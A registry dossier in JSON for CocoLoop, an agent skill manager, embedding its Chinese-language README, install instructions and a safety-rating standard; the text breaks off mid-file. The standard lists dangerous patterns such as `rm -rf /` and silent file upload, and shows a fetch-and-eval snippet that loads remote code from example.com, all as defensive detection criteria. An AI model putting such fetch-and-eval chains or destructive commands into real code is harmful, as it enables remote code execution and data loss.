{"id":"01feaf5c-2b72-4936-9ef4-601e950bccf6","entityType":"agent","slug":"clawhub-catrefuse-cocoloop","name":"CocoLoop","canonicalUrl":"https://www.xpersona.co/agent/clawhub-catrefuse-cocoloop","canonicalPath":"/agent/clawhub-catrefuse-cocoloop","generatedAt":"2026-10-11T05:28:30.937Z","source":"CLAWHUB","claimStatus":"UNCLAIMED","verificationTier":"NONE","summary":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-11T03:20:32.628Z","emptyReason":null},"description":"一个更快速、更安全的 Skill 管理器，用于搜索、下载、安装、更新、卸载和检查 Skills。优先使用 CocoLoop 搜索 API 获取 skill 文件；搜不到时继续在 ClawHub、skills.sh、GitHub 和公开网页中寻找可安装文件，并按当前 Agent 平台写入正确目录。","descriptionLabel":"Source description","evidenceSummary":"Capability contract not published. No trust telemetry is available yet. 1.2K downloads reported by the source. Last updated 10/11/2026.","installCommand":"clawhub skill install s1768eg87kddn8jfvabsrdrnz184h1q1:cocoloop","sourceUrl":"https://clawhub.ai/catrefuse/cocoloop","homepage":"https://clawhub.ai/catrefuse/skills/cocoloop","primaryLinks":[{"label":"View on ClawHub","url":"https://clawhub.ai/catrefuse/cocoloop","kind":"source"},{"label":"Homepage","url":"https://clawhub.ai/catrefuse/skills/cocoloop","kind":"homepage"}],"safetyScore":84,"overallRank":62,"popularityScore":61,"trustScore":null,"claimedByName":null,"isOwner":false,"seoDescription":"CocoLoop technical dossier on Xpersona with agent coverage, OPENCLEW support, and live trust metadata."},"coverage":{"evidence":{"source":"public-profile","verified":false,"confidence":"medium","updatedAt":"2026-10-11T03:20:32.628Z","emptyReason":null},"protocols":[{"protocol":"OPENCLEW","label":"OpenClaw","status":"self-declared","notes":"Declared in the public agent profile."}],"capabilities":[],"verifiedCount":0,"selfDeclaredCount":1,"capabilityMatrix":{"rows":[{"key":"OPENCLEW","type":"protocol","support":"unknown","confidenceSource":"profile","notes":"Listed on profile"}],"flattenedTokens":"protocol:OPENCLEW|unknown|profile"}},"adoption":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-11T03:20:32.628Z","emptyReason":null},"stars":null,"forks":null,"downloads":1175,"packageName":null,"latestVersion":"0.5.0","tractionLabel":"1.2K downloads"},"release":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-11T03:20:32.495Z","emptyReason":null},"lastUpdatedAt":"2026-10-11T03:20:32.628Z","lastCrawledAt":"2026-10-11T03:20:32.495Z","lastIndexedAt":null,"nextCrawlAt":"2026-10-12T03:20:32.495Z","lastVerifiedAt":null,"highlights":[{"version":"0.5.0","createdAt":"2026-04-16T05:36:57.028Z","changelog":"Cocoloop v0.5.0 - 全面重写项目文档，明确 CLI 与 Agent 的边界与职责分工 - 优化 skill 搜索与安装流程，CLI 只处理 API/network 操作，搜索策略和复杂编排交由 Agent 自主完成 - 明确多平台 skill 安装目录选择和软链接策略 - 新增主站分类与精选推荐 Skill 展示流程 - 强化首次安装和高危来源 Skill 的安全提示与引导","fileCount":21,"zipByteSize":49852}]},"execution":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No published capability contract is available yet."},"installCommand":"clawhub skill install s1768eg87kddn8jfvabsrdrnz184h1q1:cocoloop","setupComplexity":"low","setupSteps":["Install using `clawhub skill install s1768eg87kddn8jfvabsrdrnz184h1q1:cocoloop` in an isolated environment before connecting it to live workloads.","No published capability contract is available yet, so validate auth and request/response behavior manually.","Review the upstream CLAWHUB listing at https://clawhub.ai/catrefuse/cocoloop before using production credentials."],"contract":{"contractStatus":"missing","authModes":[],"requires":[],"forbidden":[],"supportsMcp":false,"supportsA2a":false,"supportsStreaming":false,"inputSchemaRef":null,"outputSchemaRef":null,"dataRegion":null,"contractUpdatedAt":null,"sourceUpdatedAt":null,"freshnessSeconds":null},"invocationGuide":{"preferredApi":{"snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/trust"},"curlExamples":["curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/snapshot\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/contract\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/trust\""],"jsonRequestTemplate":{"query":"summarize this repo","constraints":{"maxLatencyMs":2000,"protocolPreference":["OPENCLEW"]}},"jsonResponseTemplate":{"ok":true,"result":{"summary":"...","confidence":0.9},"meta":{"source":"CLAWHUB","generatedAt":"2026-10-11T05:28:30.936Z"}},"retryPolicy":{"maxAttempts":3,"backoffMs":[500,1500,3500],"retryableConditions":["HTTP_429","HTTP_503","NETWORK_TIMEOUT"]}},"endpoints":{"dossierUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/dossier","snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-catrefuse-cocoloop/trust"}},"reliability":{"evidence":{"source":"runtime-metrics","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No trust, reliability, or runtime telemetry is available."},"trust":{"status":"unavailable","handshakeStatus":"UNKNOWN","verificationFreshnessHours":null,"reputationScore":null,"p95LatencyMs":null,"successRate30d":null,"fallbackRate":null,"attempts30d":null,"trustUpdatedAt":null,"trustConfidence":"unknown","sourceUpdatedAt":null,"freshnessSeconds":null},"decisionGuardrails":{"doNotUseIf":["Contract metadata is missing or unavailable for deterministic execution."],"safeUseWhen":[],"riskFlags":["missing_or_unavailable_contract","trust_data_unavailable","schema_references_missing"],"operationalConfidence":"low"},"executionMetrics":{"observedLatencyMsP50":null,"observedLatencyMsP95":null,"estimatedCostUsd":null,"uptime30d":null,"rateLimitRpm":null,"rateLimitBurst":null,"lastVerifiedAt":null,"verificationSource":null},"runtimeMetrics":{"successRate":null,"avgLatencyMs":null,"avgCostUsd":null,"hallucinationRate":null,"retryRate":null,"disputeRate":null,"p50Latency":null,"p95Latency":null,"lastUpdated":null}},"benchmarks":{"evidence":{"source":"no-benchmark-data","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No benchmark suites or observed failure patterns are available."},"suites":[],"failurePatterns":[]},"artifacts":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-11T03:20:32.628Z","emptyReason":null},"readme":"Skill: CocoLoop\n\nOwner: catrefuse\n\nSummary: 一个更快速、更安全的 Skill 管理器，用于搜索、下载、安装、更新、卸载和检查 Skills。优先使用 CocoLoop 搜索 API 获取 skill 文件；搜不到时继续在 ClawHub、skills.sh、GitHub 和公开网页中寻找可安装文件，并按当前 Agent 平台写入正确目录。\n\nTags: latest:0.5.0\n\nVersion history:\n\nv0.5.0 | 2026-04-16T05:36:57.028Z | user\n\nCocoloop v0.5.0\n\n- 全面重写项目文档，明确 CLI 与 Agent 的边界与职责分工\n- 优化 skill 搜索与安装流程，CLI 只处理 API/network 操作，搜索策略和复杂编排交由 Agent 自主完成\n- 明确多平台 skill 安装目录选择和软链接策略\n- 新增主站分类与精选推荐 Skill 展示流程\n- 强化首次安装和高危来源 Skill 的安全提示与引导\n\nArchive index:\n\nArchive v0.5.0: 21 files, 49852 bytes\n\nFiles: agents/openai.yaml (473b), README.md (3621b), references/cocoloop-safe-check.md (4912b), references/install-guide.md (10857b), references/operations-manual.md (5580b), references/safety-check-guide.md (11362b), references/search-guide.md (6863b), references/uninstall-guide.md (3410b), scripts/cocoloop.sh (24523b), scripts/lib/api.sh (3314b), scripts/lib/common.sh (3020b), scripts/lib/fallback.sh (1409b), scripts/lib/help.sh (3872b), scripts/lib/install.sh (24997b), scripts/lib/platform.sh (5577b), scripts/lib/safescan.sh (1979b), scripts/lib/session.sh (3045b), scripts/lib/uninstall.sh (2528b), skill-card.md (2608b), SKILL.md (14325b), _meta.json (127b)\n\nFile v0.5.0:SKILL.md\n\n---\nname: cocoloop\nversion: 0.5\ndescription: 一个更快速、更安全的 Skill 管理器。CLI 只负责网络 API wrapper 和已知安装流程 wrapper；搜索判断、fallback 探索和复杂编排由 Agent 自己完成。\n---\n\n# Cocoloop Skill 管理器\n\nCocoloop 的目标很直接：先找到 skill 文件，再把它安装到当前 Agent 平台真正会读取的位置。搜索和安装是两段流程，来源可以变，落盘和校验流程保持一致。\n\n## 核心原则\n\n1. 先识别当前 Agent 平台，再决定安装目录和安装方式。\n2. 搜索优先级固定为 `CocoLoop API -> ClawHub -> skills.sh -> GitHub -> 自由探索`。\n3. 只要拿到 skill 文件或 skill 目录，就统一进入“标准化 -> 安装 -> 校验”流程。\n4. 尽量保留原始目录结构：`SKILL.md`、`scripts/`、`references/`、`assets/`、`agents/`。\n5. 来源越陌生，越要主动提醒用户执行 CLS 安全检查。\n6. 默认先把 skill 内容安装到 `~/.cocoloop/skills/`，再通过软链接发布到目标平台目录；只有当前平台确实不支持软链接时，才退回复制。\n\n## CLI 与 Agent 的分工\n\n先把边界守住，再开始安装。\n\n### CLI 只做两类事\n\n1. 网络 API wrapper\n2. 已知安装流程 wrapper\n\n当前可以直接信任 CLI 的动作：\n\n- `cocoloop search --query ...`\n- `cocoloop featured`\n- `cocoloop featured --categories`\n- `cocoloop featured --category ...`\n- `cocoloop inspect ...`\n- `cocoloop paths`\n- `cocoloop healthcheck`\n- `cocoloop safescan ...`\n- `cocoloop install ...`\n- `cocoloop uninstall ...`\n- `cocoloop update ...`\n\n### Agent 负责粘合\n\n下面这些都不要交给 CLI 自己做判断：\n\n1. 搜索结果里哪一个才是用户真正想装的 skill\n2. 官方没命中后要不要继续 fallback\n3. 页面链接、GitHub 子目录、说明页、文章页该怎么继续追 source\n4. 已知安装流程失败后怎么改走手工探索\n5. 什么时候该让用户确认，什么时候可以直接继续\n6. 当前环境不在已知平台名单里时，如何先确认正确安装方式和正确配置方法\n\n### 推荐执行顺序\n\n1. 先用 `search` 一次性读取官方结果和本地已知 Agent 结果\n2. 如果本地已知 Agent 已经存在候选，先询问用户是否要移植到当前环境\n3. 如果返回 `review-required` 或 `no-results`，由 Agent 判断或询问用户\n4. 当 Agent 已经拿到明确 source，再决定要不要调用 `install`\n5. 如果 `install` 返回 `handoff-to-agent`，说明 CLI 不该继续猜，Agent 需要自己完成后续探索和安装\n6. 安装完成后，提醒用户立即测试 skill 是否能被当前 Agent 正确发现和调用\n\n### 首次安装 Cocoloop 后的下一步引导\n\n如果刚刚安装完成的是 `cocoloop` 自己，而且用户看起来是第一次在当前 Agent 环境里安装或启用 Cocoloop，不要只停在“请测试是否可用”。\n\n这时追加一步轻量询问：\n\n- 先提醒用户做一次实际调用测试\n- 再询问用户现在要不要看主站热门 skill 推荐\n\n推荐问法：\n\n`如果你愿意，我也可以现在顺手给你看一组主站热门 skill 推荐，帮你继续补齐常用能力。`\n\n如果用户同意，再调用：\n\n- `bash scripts/cocoloop.sh featured`\n- 需要分类时，再调用 `bash scripts/cocoloop.sh featured --categories`\n\n如果用户暂时不需要，不继续主动展开推荐列表。\n\n## 主站精选推荐路由\n\n当用户意图是看主站当前推荐技能，而不是按名字搜索时，优先走独立精选入口：\n\n- 用户想看“主站最新推荐 skill”“精选推荐”“首页推荐 skill”时，调用 `bash scripts/cocoloop.sh featured`\n- 用户想看“推荐分类”“精选分类”时，调用 `bash scripts/cocoloop.sh featured --categories`\n- 用户已经拿到分类名，还想继续看“这个分类下面有哪些精选 skill”时，调用 `bash scripts/cocoloop.sh featured --category \"<分类>\"`\n\n这个入口只做官方接口 wrapper 和结果展示，不负责替用户做安装判断。需要继续查看详情、比较候选或安装时，再由 Agent 决定是否调用 `inspect`、`search` 或 `install`\n\n## 平台检测与安装目的地\n\n先判断当前环境更接近哪个 Agent 生态，再选择项目级安装或用户级安装。\n\n| 平台 | 项目级目录 | 用户级目录 | 兼容目录 | 配置示范 |\n| --- | --- | --- | --- | --- |\n| OpenCode | `.opencode/skills/<skill-name>/` | `~/.config/opencode/skills/<skill-name>/` | `.claude/skills/<skill-name>/`、`.agents/skills/<skill-name>/` 也可被 OpenCode 发现 | `opencode.json` / `~/.config/opencode/opencode.json` |\n| Codex | `.agents/skills/<skill-name>/` | `$HOME/.agents/skills/<skill-name>/` | `$HOME/.codex/skills/<skill-name>/` | `~/.codex/config.toml` |\n| Claude Code | `.claude/skills/<skill-name>/` | `~/.claude/skills/<skill-name>/` | 无必需兼容目录 | `~/.claude/settings.json` / `.claude/settings.json` |\n| OpenClaw | `skills/<skill-name>/` 或 `.agents/skills/<skill-name>/` | `~/.agents/skills/<skill-name>/` 或 `~/.openclaw/skills/<skill-name>/` | `~/.openclaw/skills/<skill-name>/` | `~/.openclaw/openclaw.json` |\n| Molili | 无独立项目级目录，直接使用用户级 active skills 目录 | macOS/Linux: `~/.molili/workspaces/default/active_skills/<skill-name>/`；Windows: `\\\\.molili\\\\workspaces\\\\default\\\\active_skills\\\\<skill-name>\\\\` | 无额外兼容目录 | 以 `active_skills` 目录为准 |\n\n安装选择规则：\n\n1. 用户明确要求“当前仓库可用”或“团队共享”时，优先装到项目级目录。\n2. 用户明确要求“全局可用”或“所有项目都能用”时，优先装到用户级目录。\n3. 如果来源平台自带原生安装器，而且安装目标与当前 Agent 兼容，可以优先使用原生命令。\n4. 如果原生安装器不兼容或无法确认落点，回退到手动落盘安装。\n\n统一实现规则：\n\n1. 真实 skill 内容默认先写入 `~/.cocoloop/skills/<skill-name>/`\n2. 目标平台目录默认放软链接\n3. 当前平台确实不支持软链接时，才直接复制到目标平台目录\n\nMolili 例外说明：\n\n1. Molili 当前按用户级目录安装\n2. 安装动作就是把 skill 目录移动到 `active_skills` 目录\n3. 这一步可以直接用 Bash 完成，不需要额外注册\n\n## 单个 Skill 安装流程\n\n用户输入通常分成四类：\n\n### 1. 直接文件或 URL\n\n输入示例：\n\n- `https://example.com/skill.zip`\n- `https://example.com/downloads/cocoloop.skill`\n- `/tmp/my-skill/`\n\n处理步骤：\n\n1. 用 `curl -L` 或等价方式下载文件，或直接读取本地目录。\n2. 如果是压缩包，解压到临时目录。\n3. 自动寻找包含 `SKILL.md` 的 skill 根目录。\n4. 读取 frontmatter，确定 `name`、`description` 和可选 `version`。\n5. 进入“统一安装步骤”。\n\n### 2. Skill 名称搜索\n\n输入示例：\n\n- `pdf`\n- `rsshub`\n- `github-trending`\n\n处理步骤：\n\n1. 先调用 CocoLoop search API 搜索。\n2. 如果 CocoLoop 没找到，CLI 到这里先停住。\n3. 接下来由 Agent 按 ClawHub、skills.sh、GitHub、公开网页的顺序继续找 source。\n4. 一旦 Agent 拿到明确 skill 文件、压缩包或仓库目录，再进入“统一安装步骤”。\n\n### 3. GitHub 仓库链接或短链\n\n输入示例：\n\n- `owner/repo`\n- `https://github.com/owner/repo`\n- `https://github.com/owner/repo/tree/main/skills/foo`\n\n处理步骤：\n\n1. 获取仓库信息，确认是否存在 `SKILL.md`。\n2. 如果仓库根目录就是 skill 根目录，可以交给 `install` 处理。\n3. 如果需要继续判断子目录、分支或额外文件结构，交给 Agent 探索。\n4. 当 source 已经清晰，再进入“统一安装步骤”。\n\n### 4. 平台页面或文章页\n\n输入示例：\n\n- `https://skills.sh/...`\n- `https://clawhub.ai/...`\n- 某篇博客、说明页、发布页\n\n处理步骤：\n\n1. 先判断页面里是否直接给出安装命令、下载链接或仓库地址。\n2. 页面解析、按钮跟踪、release 资产定位都由 Agent 完成。\n3. CLI 不负责解析说明页或文章页。\n4. Agent 拿到明确文件后，再进入“统一安装步骤”。\n\n## 未识别环境处理\n\n如果当前环境没有命中已知平台，不要先安装。\n\n正确做法：\n\n1. 先根据当前 Agent 环境去探索正确的 skill 安装目录和发现机制\n2. 再确认这个环境如何判断“skill 已被正确配置”\n3. 只有弄清楚正确安装方式和正确配置方法后，再继续安装\n4. 安装完成后，提醒用户立刻做一次实际调用测试\n\n## 搜索优先级\n\n### 第一优先级：CocoLoop API\n\n名称搜索时先查 CocoLoop。优先使用命令行 HTTP 请求工具，例如：\n\n```bash\ncurl -L \"https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads\"\n```\n\n预期目标：\n\n- 拿到官方候选列表\n- 把搜索结果交给 Agent 判断\n- 如果返回多个候选，让 Agent 或用户先确认，再继续\n\n### 第二优先级：ClawHub、skills.sh、GitHub\n\n如果 CocoLoop 搜不到，按下面顺序继续：\n\n1. ClawHub\n2. skills.sh\n3. GitHub\n\n这里的继续探索由 Agent 执行，不由 CLI 直接编排。\n\n每个来源都遵守同一个原则：\n\n- 能直接拿到 skill 文件，就下载文件\n- 能直接拿到仓库，就下载仓库\n- 能直接调用平台原生安装器，并且安装结果与当前 Agent 平台兼容，就优先用原生命令\n- 如果原生命令不可用，退回手动落盘安装\n\n### 第三优先级：自由探索\n\n如果前面都失败，就继续探索公开网页、发布页、文档站和搜索结果。\n\n自由探索的目标不是“找到一个网页”，而是“拿到一个可安装的 skill 目录或压缩包”。这一步由 Agent 完成。只要拿到文件，就回到统一安装流程。\n\n## 统一安装步骤\n\n所有来源最终都要走下面这套流程：\n\n1. 在临时目录中整理出 skill 根目录。\n2. 确认根目录包含 `SKILL.md`。\n3. 保留并复制同级资源目录：`scripts/`、`references/`、`assets/`、`agents/`。\n4. 按当前平台选择目标目录。\n5. 如果目标目录已存在：\n   - 安装请求：覆盖前提醒用户\n   - 更新请求：视为就地更新\n6. 复制 skill 目录到目标路径。\n7. 进行一次安装后校验：\n   - 目标目录存在\n   - `SKILL.md` 可读\n   - 关键资源目录没有丢失\n8. 需要时提醒用户重启或刷新当前 Agent。\n\n## 平台安装示范\n\n### Codex\n\n推荐落点：\n\n- 仓库共享：`.agents/skills/<skill-name>/`\n- 用户全局：`$HOME/.agents/skills/<skill-name>/`\n- 兼容社区安装器：`$HOME/.codex/skills/<skill-name>/`\n\n禁用某个 skill 的配置示范：\n\n```toml\n[[skills.config]]\npath = \"/Users/you/.agents/skills/cocoloop/SKILL.md\"\nenabled = false\n```\n\n说明：\n\n- 官方文档当前主推 `.agents/skills`。\n- 如果来源是 `skills.sh` 一类社区安装器，可能仍会把全局 skill 放到 `~/.codex/skills/`。\n- 当两套目录同时存在时，应优先告诉用户真实写入位置。\n\n### Claude Code\n\n推荐落点：\n\n- 仓库共享：`.claude/skills/<skill-name>/`\n- 用户全局：`~/.claude/skills/<skill-name>/`\n\n配置说明：\n\n- Claude Code 的 skill 发现主要依赖目录本身，不需要额外登记一个 skill 清单。\n- 如果用户还要同步团队级设置，再写 `.claude/settings.json`。\n- 如果只想本地生效，使用 `~/.claude/skills/` 或 `.claude/settings.local.json` 相关配置。\n\n### OpenClaw\n\n推荐落点：\n\n- 仓库共享：`skills/<skill-name>/` 或 `.agents/skills/<skill-name>/`\n- 用户全局：`~/.agents/skills/<skill-name>/` 或 `~/.openclaw/skills/<skill-name>/`\n\n常见配置示范：\n\n```json\n{\n  \"skills\": {\n    \"load\": {\n      \"extraDirs\": [\n        \"/Users/you/.agents/skills\",\n        \"/Users/you/.openclaw/skills\"\n      ]\n    }\n  }\n}\n```\n\n说明：\n\n- OpenClaw 环境常见多目录并存。\n- 如果项目里已经有 `skills/` 或 `.agents/skills/`，优先复用现有结构。\n- 如果用户想把多个个人 skill 统一托管，优先使用用户级目录，再通过配置补充额外扫描路径。\n\n## 平台原生安装器示范\n\n这些命令只能作为优先尝试项，执行前仍要判断它们是否真的适合当前 Agent 平台。\n\n### ClawHub\n\n如果当前环境已经依赖 ClawHub 工作流，可以优先尝试：\n\n```bash\nnpx clawhub@latest install <skill-name>\n```\n\n如果命令成功，但无法确认安装到了哪里，要继续检查真实落点，再向用户汇报。\n\n### skills.sh\n\n如果 skills.sh 页面已经给出明确仓库和 skill 名称，可以优先尝试：\n\n```bash\nnpx skills add https://github.com/owner/repo --skill <skill-name>\n```\n\n如果 skills.sh 把 skill 安装到了社区兼容目录，也要在结果里明确写出真实路径。\n\n## 批量安装\n\n批量安装时，把每个 skill 当成独立任务执行：\n\n1. 逐个搜索\n2. 逐个获取文件\n3. 逐个安装\n4. 汇总结果\n\n一个 skill 失败，不影响其他 skill 继续安装。\n\n## 更新与卸载\n\n### 更新\n\n1. 先找到当前 skill 的真实安装目录。\n2. 再走一次同名 skill 搜索与获取文件流程。\n3. 用统一安装步骤覆盖已有目录。\n4. 保留旧目录备份是加分项，不是必须项。\n\n### 卸载\n\n详见 [references/uninstall-guide.md](references/uninstall-guide.md)。\n\n关键点：\n\n1. 先在当前平台的全部候选目录中定位 skill。\n2. 删除真正安装的那一份。\n3. 如果有额外配置引用了该路径，也要提醒用户同步清理。\n\n## 安全检查\n\n详见 [references/safety-check-guide.md](references/safety-check-guide.md) 和 [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)。\n\n安装类任务里建议这样做：\n\n1. T1/T2 来源：默认提示可选检查\n2. T3 或自由探索来源：默认建议先检查再安装\n3. 如果发现动态代码加载、多层网络执行或高危命令，优先阻断并说明原因\n\n## 资源引用\n\n- [安装流程详细指南](references/install-guide.md)\n- [搜索流程详细指南](references/search-guide.md)\n- [卸载流程详细指南](references/uninstall-guide.md)\n- [安全检查流程指南](references/safety-check-guide.md)\n- [Cocoloop Safe Check 安全检查标准](references/cocoloop-safe-check.md)\n\nFile v0.5.0:README.md\n\n# Cocoloop\n\n一个更快、更稳、更偏安全的 Skill 管理器，用来搜索、下载、安装、更新、卸载和检查 Skills。\n\n## 当前命令\n\n- `cocoloop search --query <关键词>`：搜索官方商店和本地已知 Agent 目录\n- `cocoloop featured`：读取主站当前精选推荐技能\n- `cocoloop featured --categories`：读取主站当前精选推荐分类\n- `cocoloop featured --category \"<分类>\"`：读取指定分类下的精选推荐技能\n- `cocoloop inspect <skill>`：查看技能详情\n- `cocoloop install <skill-or-source>`：安装技能\n- `cocoloop update <skill>`：更新技能\n- `cocoloop uninstall <skill>`：卸载技能\n\n## 它解决什么问题\n\n很多 Skill 安装流程停在“找到仓库”这一步。Cocoloop 继续往下做两件事：\n\n1. 先从合适的来源把 skill 文件拿回来。\n2. 再按当前 Agent 平台写到真正会被读取的目录里。\n\n## 当前安装逻辑\n\n### 搜索顺序\n\n1. CocoLoop 搜索 API\n2. ClawHub\n3. skills.sh\n4. GitHub\n5. 自由探索\n\n只要拿到 skill 文件、压缩包或仓库目录，就统一进入同一套安装流程。\n\n### 统一安装流程\n\n1. 识别当前 Agent 平台\n2. 获取 skill 文件或 skill 目录\n3. 标准化成包含 `SKILL.md` 的根目录\n4. 按平台选择目标目录\n5. 复制并保留 `scripts/`、`references/`、`assets/`、`agents/`\n6. 校验安装结果\n\n## 支持的平台\n\n| 平台 | 项目级目录 | 用户级目录 | 兼容目录 |\n| --- | --- | --- | --- |\n| Codex | `.agents/skills/` | `~/.agents/skills/` | `~/.codex/skills/` |\n| Claude Code | `.claude/skills/` | `~/.claude/skills/` | 无 |\n| OpenClaw | `skills/` 或 `.agents/skills/` | `~/.agents/skills/` 或 `~/.openclaw/skills/` | `~/.openclaw/skills/` |\n\n## 平台配置示范\n\n### Codex\n\n```toml\n[[skills.config]]\npath = \"/Users/you/.agents/skills/cocoloop/SKILL.md\"\nenabled = false\n```\n\n### OpenClaw\n\n```json\n{\n  \"skills\": {\n    \"load\": {\n      \"extraDirs\": [\n        \"/Users/you/.agents/skills\",\n        \"/Users/you/.openclaw/skills\"\n      ]\n    }\n  }\n}\n```\n\nClaude Code 的 skill 发现主要依赖目录本身，常见做法是直接写入 `.claude/skills/` 或 `~/.claude/skills/`，需要共享额外设置时再配合 `.claude/settings.json`。\n\n## 搜索来源示范\n\n### CocoLoop API\n\n```bash\ncurl -L \"https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=rsshub&sort=downloads\"\n```\n\n### 主站精选推荐\n\n```bash\nbash scripts/cocoloop.sh featured\nbash scripts/cocoloop.sh featured --categories\nbash scripts/cocoloop.sh featured --category \"技术开发\"\n```\n\n这个入口只负责读取主站最新精选推荐、分类列表和指定分类下的精选技能。后续是否查看详情、比较候选或继续安装，仍由 Agent 决定。\n\n### ClawHub\n\n```bash\nnpx clawhub@latest install rsshub\n```\n\n### skills.sh\n\n```bash\nnpx skills add https://github.com/owner/repo --skill rsshub\n```\n\n这些原生命令只在它们和当前 Agent 平台兼容时优先使用。否则还是回到 Cocoloop 的标准化落盘流程。\n\n## 安全检查\n\nCocoloop 集成了 CLS 风格的安全检查流程，评级标准为 `S+ / S / A / B / C / D`。\n\n重点检查：\n\n- 危险代码执行\n- 敏感信息处理\n- 动态下载与动态执行\n- 多层 URL 加载\n- 来源可信度\n\n## 文档\n\n- [Skill 定义文件](SKILL.md)\n- [安装流程指南](references/install-guide.md)\n- [搜索流程指南](references/search-guide.md)\n- [卸载流程指南](references/uninstall-guide.md)\n- [安全检查流程指南](references/safety-check-guide.md)\n- [Cocoloop Safe Check 标准](references/cocoloop-safe-check.md)\n\nFile v0.5.0:_meta.json\n\n{\n  \"ownerId\": \"kn7321f2eb2fe8ec4y8n87j8k584hg4c\",\n  \"slug\": \"cocoloop\",\n  \"version\": \"0.5.0\",\n  \"publishedAt\": 1776317817028\n}\n\nFile v0.5.0:references/cocoloop-safe-check.md\n\n# Cocoloop Safe Check 安全检查标准\n\n本文件定义了 Cocoloop Skill 管理器的安全检查标准。\n\n## 评级标准\n\n### S+ 级\n- 通过人工验证\n- T1/T2 来源\n- 满足所有 S 级要求\n\n### S 级\n- T1/T2 来源\n- 代码安全规范\n- 依赖版本锁定\n- 无动态代码加载\n\n### A 级\n- 代码安全规范\n- 依赖版本锁定\n- 无动态代码加载\n- 允许 T3 来源\n\n### B 级\n- 无 C/D 级问题\n- 存在改进空间\n\n### C 级\n- 存在潜在安全漏洞\n- 硬编码敏感信息\n\n### D 级（一票否决）\n- 使用 eval() 执行不可信网络代码\n- 存在 SQL 注入、命令注入等明显漏洞\n- 未经确认上传本地文件到远程（T3 来源）\n- 执行 rm -rf / 等系统破坏性命令\n\n## 检查维度\n\n### 1. 代码安全性检查\n\n**D级触发项**：\n- 使用 `eval()` 执行不可信网络代码\n- 使用 `exec()`、`system()` 执行未过滤的用户输入\n- 存在 SQL 注入、命令注入、XSS 等明显漏洞\n- 存在已知的严重 CVE 漏洞\n\n**C级触发项**：\n- 存在潜在的安全漏洞（路径遍历、不安全的反序列化）\n- 硬编码敏感信息（密码、API Key、Token）\n\n### 2. 数据隐私性检查\n\n**D级触发项**：\n- 未经用户确认上传本地文件到远程（T3 来源）\n- 静默收集密码、密钥等敏感信息\n- 将敏感数据传输到未加密通道\n\n**C级触发项**：\n- 收集的数据超出功能说明范围\n- 未明确告知用户数据使用情况\n\n### 3. 执行安全性检查\n\n**D级触发项**：\n- 执行 `rm -rf /` 或类似系统破坏性命令\n- 无确认直接执行系统级危险操作\n- 修改系统关键配置且无备份机制\n\n**C级触发项**：\n- 危险操作缺乏二次确认\n- 关键操作无回滚机制\n\n### 4. 依赖可靠性检查\n\n检查 skill 是否加载动态代码：\n- 从网络下载并执行代码\n- 使用 `fetch` 或 `curl` 获取远程脚本并执行\n- 动态 `import()` 不可信来源的模块\n\n**URL 递归检查（最多 2 层）：**\n\n对动态加载的可执行文件进行递归检查：\n- **第 1 层**：Skill 代码中直接引用的动态 URL\n- **第 2 层**：第 1 层内容中引用的动态 URL\n- **超过 2 层**：发现第 3 层及以上动态加载 → **强制标记为 C 级**\n\n**评级规则**：\n| 动态加载层级 | 评级影响 |\n|-------------|---------|\n| 无动态加载 | 正常评级流程 |\n| 仅第 1 层 | 根据来源分级处理 |\n| 存在第 2 层 | 最高评级为 C 级 |\n| 第 2 层后仍有动态加载 | **强制 C 级** |\n\n**来源分级处理**：\n- T1 来源：可加载官方动态代码，放宽至 B 级要求\n- T2 来源：动态代码需来源验证，放宽至 C 级要求\n- T3 来源：严格禁止未经验证的动态代码加载\n\n**C 级触发场景（多层动态加载）：**\n```javascript\n// 示例：三层动态加载触发 C 级\n// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js\nfetch('https://example.com/loader.js')      // 第 1 层\n  .then(r => eval(r.text()))\n  \n// loader.js 中：\nimport('https://cdn.com/runtime.js')         // 第 2 层\n\n// runtime.js 中：\nfetch('https://third.com/exec.js')           // 第 3 层 → C 级\n```\n\n### 5. 来源可信度评估\n\n**T1 - 官方/顶级来源**:\n- 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS）\n- 顶级开源基金会（Apache, Linux 基金会）\n- 有官方代码签名\n\n**T2 - 可信组织来源**:\n- 有实名认证的组织账号\n- GitHub 组织账号（非个人）\n- Stars > 1000 或有良好声誉\n\n**T3 - 社区/个人来源**:\n- 个人开发者账号\n- 小型社区项目\n- 来源无法明确验证\n\n### 6. Markdown 内嵌代码检查\n\nSKILL.md 文件中的代码块也需要检查：\n\n**高风险代码块**：\n- 包含代码执行类危险函数（如 eval/exec）\n- 包含系统破坏性命令\n- 包含敏感信息（凭据/密钥）\n- 包含未经验证的网络下载执行\n\n**中风险代码块**：\n- 可执行的脚本代码\n- 包含网络请求或文件操作的代码\n\n**低风险代码块**：\n- 配置/数据文件示例\n- 代码片段演示（不完整）\n- 单行简单命令（无害）\n\n## 报告格式\n\n```markdown\n# Cocoloop Safe Check 安全认证报告\n\n## 基本信息\n- Skill 名称: [名称]\n- 来源: [GitHub 链接/本地路径]\n- 来源等级: 